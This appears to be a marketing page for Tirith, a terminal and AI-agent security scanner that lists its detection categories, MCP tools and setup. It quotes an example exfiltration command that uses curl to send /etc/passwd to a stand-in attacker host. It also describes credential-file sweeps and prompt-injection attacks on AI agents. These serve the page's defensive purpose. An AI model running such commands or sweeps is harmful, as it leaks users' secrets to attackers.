Tirith – Detect terminal injection, homograph, and pipe-to-shell attacks Tirith, a new terminal security tool, intercepts commands and pastes to detect homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, and 200+ other threats in under 1ms. It covers 208 detection rules across 29 threat categories, targeting terminal and AI-agent attack surfaces, and can intercept 5 of 6 kill chain stages in supply chain attacks. Your browser would catch this. Your terminal won't. Tirith intercepts commands and pastes in your terminal, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, data exfiltration, and 200+ other threats, in under 1ms. See It In Action Click a scenario to see how Tirith responds. What It Catches 208 detection rules across 29 threat categories, covering every angle of terminal and AI-agent attack surface. Hostname & Homograph Homograph attacks, punycode, confusable characters, IDN spoofing Terminal Injection ANSI escapes, bidi overrides, zero-width and control characters Command Execution Pipe-to-shell, decode-execute, command substitution, and dangerous invocations Credential Detection API keys, tokens, private keys, and high-entropy secrets in input Supply Chain & Ecosystem Git, Docker, pip, npm, registries — package and supply-chain attack surface Config Security AI config poisoning, prompt injection, and MCP server validation AI Config Drift Snapshot-diff changes to AI configs: hidden instructions and tool-use escalation Threat Intelligence Known-malicious packages, URLs, and IPs from the signed threat database Code Execution Executing from tmp/untrusted locations and dynamic or obfuscated execution Contextual Safety Production cloud/k8s, labeled SSH hosts, IaC apply/destroy, and container exec Hidden Content Hidden CSS/color text, comments, and notebook/HTML hidden instructions Cloaking Servers returning different content to AI bots vs browsers Supply Chain Is the New Attack Surface TeamPCP compromised LiteLLM, Aqua Trivy, and Checkmarx in 5 days. No zero-day needed, just stolen credentials and commands your terminal happily executed. Tirith won't stop a trojaned package from being installed. But it catches the payload before it does damage, cutting the blast radius at every stage of the kill chain. Initial Access Attack Stolen credentials used to push trojaned package LiteLLM, Aqua Trivy, Checkmarx, all in 5 days Tirith Response Outside terminal scope. Tirith guards what runs after install. Credential Harvesting Attack Payload exports API keys, tokens, and secrets from env vars $AWS SECRET ACCESS KEY, $GITHUB TOKEN, $ANTHROPIC API KEY Tirith Response sensitive env export Memory Scraping Attack Reads /proc/ /mem to extract secrets from running processes Every secret in your CI runner or dev machine memory Tirith Response proc mem access Privilege Escalation Attack Mounts host root filesystem via Docker remote daemon Full host access from inside a container Tirith Response docker remote priv esc Persistence Attack Sweeps .aws/credentials, .ssh/id rsa, .gnupg/ for lateral movement Every credential file on disk Tirith Response credential file sweep Exfiltration Attack Uploads stolen data to attacker-controlled server via curl curl -d @/etc/passwd https://c2.attacker.com/collect Tirith Response data exfiltration 5 of 6 kill chain stages intercepted Tirith can't prevent a compromised package from being published. But every post-install payload credential theft, memory scraping, privilege escalation, exfiltration gets caught before it does damage. That's the difference between a breach and a blocked command. How It Works A 3-tier pipeline that balances speed with thoroughness. Fast Gate Regex-powered initial filter eliminates 99% of clean commands instantly. Extract Parses URLs, Docker references, and package identifiers from complex commands. Analyze 200+ rules across 29 categories: homographs, injection, supply-chain, threat intel, credential detection, AI-config drift, and more. AI Agent Security Protect AI coding agents at every layer, from the configs they read to the skills they download to the commands they execute. One command to set up. Zero friction on clean input. MCP Server: 7 Tools AI agents call these tools before taking action. Run tirith mcp-server to start. tirith check command Analyze shell commands tirith check url Score URLs for attacks tirith check paste Check pasted content tirith scan file Scan files for hidden content tirith scan directory Recursive directory scan tirith verify mcp config Validate MCP configs tirith fetch cloaking Detect server-side cloaking Skill & Plugin Scanning Download skills, plugins, and MCP tools without worrying. Tirith scans every file for obfuscated payloads, dynamic code execution, and secret exfiltration before your agent runs it. Config Poisoning Scans 50+ AI config file patterns .cursorrules, CLAUDE.md, .mcp.json, and more for prompt injection, invisible Unicode, and permission bypass attempts. Hidden Content Detects content invisible to humans but readable by AI: CSS hiding, color tricks, sub-pixel PDF text, and HTML comment injection. Server Cloaking Compares responses across 6 user-agents to catch servers that serve different content to AI bots vs browsers. AI Config Drift Snapshot your AI configs, then diff to catch hidden instructions or tool-use escalation slipped in since — via tirith ai snapshot and tirith ai diff. Editor Diagnostics LSP tirith lsp publishes findings inline in your editor as you open and edit AI configs, install docs, and source files. One Command Setup Commands Everything runs locally. Zero network calls unless you explicitly ask. Analyze | tirith check --